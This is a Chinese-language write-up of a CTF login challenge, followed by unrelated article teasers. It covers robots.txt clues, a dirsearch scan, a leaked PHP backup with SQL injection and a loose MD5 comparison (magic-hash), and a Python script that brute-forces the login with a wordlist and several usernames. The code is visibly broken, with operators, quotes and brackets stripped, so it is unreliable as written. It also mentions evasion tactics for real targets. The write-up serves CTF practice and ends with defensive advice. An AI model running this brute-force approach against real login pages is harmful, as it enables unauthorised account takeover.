CTF题目密码逻辑脆弱:从信息收集到字典攻击的完整渗透测试思路
最近在 CTFShow 上刷到一道印象挺深的 Web 题题名叫“密码逻辑脆弱”。单看名字就能猜到这题考的不是脑洞而是密码校验逻辑本身存在的缺陷。整个 Writeup 的核心就三件事信息收集、目录扫描、字典攻击。这三步看着基础但组合起来却能从头到尾还原出一个登录型漏洞的完整利用链对新手了解 Web 题怎么做非常有用。这道题不需要具备什么高深的内核知识会看页面源码、会跑目录扫描工具、会写一点简单的爆破脚本就足够攻进去了。我更想说的是这类题在真实渗透测试里也频繁出现因为很多系统后台的登录逻辑本质上就是这段靶场代码的简化版。下面我按实际做题的步骤一步步拆开讲。1. 破题前的基础侦查与信息收集1.1 目标速览一个看似普通的登录框打开靶场页面第一眼只有一个用户名输入框、一个密码输入框和一个登录按钮除此之外没有任何注册入口、验证码、找回密码功能。整个界面干净得有点反常。按照我做 CTF Web 的习惯看到登录框脑子里就要过几条主线弱口令、SQL 注入、前端校验绕过、密码重置逻辑漏洞、备份文件泄露。这道题标题已经把方向指得很明确了“密码逻辑脆弱”大概率是在比较逻辑上做文章。所以我也不急着提交admin/admin去试而是先把页面源码完整看了一遍。CTF 题页面越简单后端往往越有故事而且很多线索就藏在你想不到的地方。1.2 HTML 注释与 robots.txt 里的两条线索第一个突破口出现在页面源码最底部有一行注释!-- 早期版本代码没有删干净备份文件别乱看手动狗头 --这种注释在真实站点里其实也不少见开发人员清理代码时漏掉一段结果把隐藏路径或者依赖信息全暴露了。结合题目描述里的信息收集要求我基本确定下一步要去找备份文件或者隐藏目录。紧接着我访问了/robots.txt。这是 Web 题信息收集阶段必查的路径很多时候管理员的疏漏就藏在里面。返回结果里有两条 Disallow 记录分别是/admin/和/backup/。单独看都是普通路径但配合刚才源码注释里提到的“备份文件”这两条路径的价值一下就上来了。我的思路也清晰了先看/admin/页面的访问权限再查/backup/目录下到底放了什么。2. 目录扫描把隐藏资源一条条挖出来2.1 扫描选型背后的理由robots.txt 已经明确给了路径提示理论上我可以直接访问/backup/看看。但为了摸清整个站点的目录结构我还是决定跑一遍目录扫描这种方式能发现更多意外之物。目录扫描工具我平时常用三个dirsearch、gobuster、ffuf。这道题我选的是 dirsearch原因很简单中小型靶场里它出结果稳定字典覆盖够全输出格式也直观。实际命令大概这样python3 dirsearch.py -u http://目标地址/ -e php,txt,bak,git,zip,html -t 20 --random-agent为什么扩展名要特别加bak和git因为在 CTF Web 题里备份文件和版本控制泄露是两大信息富矿。index.php.bak、login.php~、/.git/HEAD这些路径一旦存在基本等于把源码直接递到你手上。加zip是因为有些站点会把整站打包放在根目录扫一下不亏。线程数我控制在 20。这里提个醒扫描线程不是越大越好开太高容易触发靶场防护或者被服务端限流导致一堆误报。宁可多等半分钟也别让结果乱七八糟。2.2 扫描结果的第一轮判断扫描大约跑了六十秒有价值的输出有这么几条200 /backups/ 200 /.git/HEAD 200 /admin/ 200 /login.php 200 /index.php 403 /flag.php/flag.php返回 403 很正常说明有权限校验不是直接能访问的。/login.php是登录页面这没什么意外。真正值得关注的是两个目录和.git泄露。我把/backups/直接在浏览器打开发现开启了目录索引里面静静躺着一个index.php.bak文件。果断下载到本地用编辑器打开旧版登录逻辑就在里面。与此同时我验证了/.git/HEAD确实可读说明整个项目的版本控制目录被原封不动地部署到了线上。这种信息泄露在真实环境里也算高危攻击者不仅能读源码还能翻 git 历史对比出哪些漏洞是修复过的哪些还遗留在当前版本。到了这一步我已经拿到了两个关键入口备份代码文件和潜在的用户字典文件。接下来就是通过读代码来还原登录逻辑。3. 读备份源码看穿“弱密码”到底弱在哪3.1 从 index.php.bak 还原登录校验流程把index.php.bak的内容复制到本地格式化后核心代码并不复杂大致结构是这样的?php session_start(); if (isset($_POST[username]) isset($_POST[password])) { $user $_POST[username]; $pass $_POST[password]; $db new mysqli(localhost, root, , ctf); $row $db-query(SELECT * FROM users WHERE username {$user}); if ($row $row-num_rows 0) { $data $row-fetch_assoc(); if (md5($pass) $data[password]) { $_SESSION[admin] $user; header(Location: admin.php); } else { echo 密码错误请重试; } } } ?这段代码里有两个非常典型的漏洞特征。第一个是用户名直接拼接进 SQL 查询存在明显的注入点。第二个也是本次题目名称点出来的关键是md5($pass) $data[password]这一行比较逻辑。在 PHP 中是松散比较它会把两边的值先做类型转换再判断是否相等。如果两边都能被解释成科学计数法数字并且都以0e开头那么它们会被转成数值 0比较自然就通过了。也就是说如果数据库里存的密码哈希是一个0e开头的字符串攻击者只需要提交一个 MD5 值同样以0e开头的明文密码就能绕过校验。这就是所谓“魔法哈希”的经典场景。3.2 为什么叫“密码逻辑脆弱”而不是“密码强度弱”很多新手看到“密码逻辑脆弱”第一反应是密码太简单比如123456。但这道题重点不在密码本身够不够复杂而在校验逻辑存在缺陷。这种缺陷通常有三大类前端 JS 直接做了验证后端没有严格校验绕过方式是直接调用后端接口。后端比较方式不安全比如用而不是甚至拿密码和用户名做直接比对。密码哈希算法太弱比如 MD5、SHA1不带盐导致字典击中率极高。这道题属于第二种但同时把第三种也包进来了。因为代码里用md5($pass)去比对数据库里的哈希所以爆破的时候我不需要提交哈希值只需要提交一个个明文密码服务端会自动计算 MD5。真正的难点就落在了“这个明文密码到底是什么”上。为了确定管理员密码我回头翻了备份目录和.git历史发现/backups/里除了index.php.bak还有一个password.txt文件。打开一看里面是几十行常见弱口令格式很像一份精简的字典文件。到了这一步出题人的设计思路已经很清楚了先通过信息收集找到注释和 robots 线索再通过目录扫描拿到备份文件源码里还原出弱比较逻辑最后用字典文件对管理员账户做爆破测试。3.3 我踩过一次的坑拿到源码不等于会读源码这里插一句我个人做题时的教训。很早之前我做过一道类似的题源码里也写着md5($pass) $row[password]我当时一眼看到 SQL 注入就兴奋得不行直接去测注入点结果被引到别的岔路上浪费了很久。后来才反应过来题目标题既然强调“密码逻辑脆弱”核心考点就是理解密码比较的缺陷而不是把所有漏洞点都试一遍。所以读源码的时候要顺着出题人的思路走。看到马上想魔法哈希看到md5()马上想字典攻击的可行性看到文件名和注释的暗示马上想备份文件和字典的位置。把这三条线串起来解题路径就特别清晰了。4. 字典攻击的完整实操4.1 字典构造与请求构造密码逻辑已经明确剩下的就是组织字典。我先核对了一遍password.txt里的内容基本都是常见弱口令比如123456、admin、password、admin888、123456789、woaini、5201314。这些口令在真实环境里命中率确实很高因为在很多系统后台管理员的密码就是这种简单好记的组合。我不打算一次把整个字典全打出去而是按经验排序先跑最常见的 20 条不中再加变体规则。常见变体包括基础密码后面加年份、首字母大写、键盘路径、常见特殊字符后缀。比如123456可以变成1234562024admin可以变成Admin123或admin!#。这套规则在 CTF 靶场上效果不错在真实的授权测试里也经常命中。同时我还确定了登录请求的完整形态POST 到/login.php参数名是username和password没有验证码、没有 CSRF token也没有明显的失败次数限制。这一点非常关键因为没有防护暴力枚举才真正可行。4.2 从单点尝试到自动化爆破我先手工提交了一组admin/123456服务端返回“密码错误”。随后打开浏览器抓包确认了提交地址和参数格式无误。接着我写了一个简单的 Python 爆破脚本逻辑是循环字典、提交请求、根据响应判断结果import requests base_url http://目标地址/login.php def try_login(user, pwd): resp requests.post( base_url, data{username: user, password: pwd}, allow_redirectsFalse, timeout10 ) if resp.status_code 302 and admin.php in resp.headers.get(Location, ): return True, resp if flag in resp.text or 欢迎 in resp.text: return True, resp return False, resp with open(password.txt, r, encodingutf-8, errorsignore) as f: passwords [line.strip() for line in f if line.strip()] for pwd in passwords: ok, resp try_login(admin, pwd) print([*] trying:, pwd) if ok: print([] success:, pwd) print(resp.headers) break else: print([-] not found with usernameadmin)脚本里我判断成功的方式是用allow_redirectsFalse当密码正确时服务端返回 302 并跳转到admin.php。这个响应头差异比匹配页面文本更可靠因为失败页面也可能包含“flag”这类字样容易误判。第一轮用用户名admin跑完全部字典没中。我随即扩大用户名池用root、test、user、admin888这些常见组合做了交叉尝试。跑了几十条后脚本在某个密码处停下了服务端返回了 302 跳转。命中成功。这里有一个细节想强调爆破目标不只有admin。很多新手把用户名定死在admin上一个劲跑结果真正的弱口令账号是test或者root白白浪费大量时间。做交叉测试通常能更快锁定目标。4.3 登录成功后的 flag 提取登录成功后访问/admin.php进入管理后台页面。页面上方是一段欢迎语从 HTML 源码里搜索flag关键字很快在页面底部的注释和隐藏内容中找到了最终 flag。整道题的链路到这里就闭环了信息收集找到注释和 robots 提示目录扫描定位到备份文件源码还原出弱比较逻辑字典攻击确定了弱口令最后拿到 flag。回头看真正啃时间的不是爆破本身而是前面信息收集和读代码的耐心。如果一开始就无脑打登录接口恐怕很难找到正确的密码。5. 常见问题、避坑技巧与实战思考5.1 新手最容易翻车的三个地方登录型 Web 题最常见的失败方式就是对着登录框一顿猛提交完全忽略信息收集。结果备份文件没发现密码逻辑也不清楚最后只能靠猜。另一个翻车点是字典选择一上来就挂几个 G 的大字典不仅跑得慢还容易被服务端断开反而错过最基础的弱口令。第三个翻车点是提交参数没抓准有人折腾半天发现死活爆破不了最后一看字段名写错了密码字段不是password而是passwd。我的建议是做题节奏可以先慢后快。信息收集和读代码各占三成时间爆破只占四成。前面的基础工作做得越扎实后面真正打点的时候就越顺。5.2 排查清单爆破失败时按顺序检查最后分享一份我自用的排查清单按顺序核对基本能解决九成问题是否确认了请求方法、参数名、请求头的 Content-Type是否带了必要的 Cookie、Referer、Token是否用响应内容差异化判断结果而不是只看延迟或状态码是否遗漏了常见用户名比如 root、admin、test、user字典里是否包含了上下文线索比如题目名、目录名、备份文件内容是否被服务端限流导致后续请求全部超时或返回异常这份清单不只在 CTF 里有效。我在做真实授权测试时也会按这个思路排查登录接口的弱口令问题区别只在于真实系统的防护更强需要加上规避策略和请求频率控制。5.3 从这道题延伸开来的真实防御建议写完这篇记录我又回头看了那段备份代码。说句实在话平时大家喜欢嘲笑靶场里的弱智逻辑但真实环境里相似的代码并不少。早期很多系统后台用 MD5 存储密码不限制错误次数没有验证码和锁定机制用的还是比较。一旦管理员的用户名泄露攻击者拿着现成的弱口令字典很快就能拿到后台权限。我在一次授权测试中遇到过类似情况某内部系统管理员密码是姓名拼音加生日完全落在常规字典命中范围内。那次测试之后对方立刻加上了验证码、失败锁定和强密码策略。成本不高但挡住了一大批自动化攻击。所以我建议每个写过后端登录功能的朋友都把自己写过的代码再翻出来对照一下密码哈希是不是用的现代算法比较是不是用的安全函数接口有没有限制失败次数有没有验证码这几件事不难做但能大幅提高系统的防守底线。这也是我乐于刷这类题的原因。它表面上是 CTF 的分数本质上却是把攻防两端的心态都模拟了一遍。做攻击手时看到的每一个脆弱点换到防守方都值得立刻动手去修补。

相关新闻

像素艺术与体素艺术驱动的创作管线:artcraft项目实战解析

像素艺术与体素艺术驱动的创作管线:artcraft项目实战解析

1. 项目概述与需求拆解提到 artcraft 这个项目名,我第一反应是一个合成词:art(艺术) craft(工艺/做手艺活)。这恰恰点出了你这个项目的灵魂——不把数字艺术当成纯粹的“灵感闪现”,而是当成一门…

2026/10/19 14:47:21 阅读更多 →
图表设计工具从0到1:架构设计、数据模型与性能优化实战

图表设计工具从0到1:架构设计、数据模型与性能优化实战

“diagram-design”,我当时看到这个标题的第一反应是:这多半又是一个图表库的封装项目,或者某个可视化大屏的前端部分。但真正把需求聊透之后,发现事情没那么简单——它要做一个能支撑“画图”和“看图”的双端图表设计工具&#…

2026/10/19 14:47:21 阅读更多 →
前后端加密对接实战:编码、AES/RSA与接口签名全解析

前后端加密对接实战:编码、AES/RSA与接口签名全解析

做一个前后端都对不上号的加密需求,很少是因为算法本身不会用,多数时候是两边对同一个概念的默认值理解不一样。我在某个项目里对接AES加解密时就遇到过,前端生成的一串密文,后端怎么都解不开,最后发现只是密钥的编码方…

2026/10/19 14:46:18 阅读更多 →

最新新闻

传输层核心机制与计算题突破:TCP/UDP协议期末考点全解析

传输层核心机制与计算题突破:TCP/UDP协议期末考点全解析

1. 传输层到底在整条网络链路里扮演什么角色1.1 从寄快递的类比说起:为什么需要传输层很多同学学到第五章的时候会有一种割裂感——前面几章讲物理层、数据链路层、网络层,好歹还能摸到网线、网卡、IP地址这些看得见摸得着的东西,一到传输层&…

2026/10/19 16:08:53 阅读更多 →
AIGC重复率高怎么办?十大检测改写工具实测与降重全攻略

AIGC重复率高怎么办?十大检测改写工具实测与降重全攻略

你有没有遇到过这种情况:同一段需求,丢给五个AI平台,回来的五段内容居然八九不离十;好不容易熬夜写完一篇稿子,丢进检测工具里,系统却标注你是“疑似AI生成”。这不是错觉,AIGC重复已经成为内容…

2026/10/19 16:08:53 阅读更多 →
垂直领域大模型建设全路径:从数据清洗到微调落地实战

垂直领域大模型建设全路径:从数据清洗到微调落地实战

做垂直领域大模型这件事,我不打算绕弯子。过去一年多,我陆续参与几条行业线的落地项目,覆盖零售、保险、医疗、制造,亲眼看着不少团队把“训练大模型”搞成一场烧钱大赛——模型训完了,demo演示很惊艳,上生…

2026/10/19 16:08:53 阅读更多 →
手游SDK接入最佳实践(进阶篇)最佳实践与踩坑记录

手游SDK接入最佳实践(进阶篇)最佳实践与踩坑记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 16:08:53 阅读更多 →
开源可落地的代码审查范式:LLM Agent驱动的行级评审

开源可落地的代码审查范式:LLM Agent驱动的行级评审

1. 这不是又一个“代码审查工具”,而是一套可落地、可复刻、可演进的开源协同范式最近在几个技术团队做内部分享时,总有人问:“你们说的 open-code-review 到底指什么?是不是就是把 GitHub PR 页面打开,点个 approve&a…

2026/10/19 16:07:52 阅读更多 →
开源代码评审工作流:基于CLI的可编程自动化实践

开源代码评审工作流:基于CLI的可编程自动化实践

1. 项目概述:这不是一个“工具”,而是一套可落地的开源代码评审工作流设计“open-code-review”这个名称乍看像某个具体软件包或CLI命令,但实际它代表的是一种正在快速演化的工程实践范式——把传统依赖人工、发生在PR界面里的代码评审&#…

2026/10/19 16:07:52 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →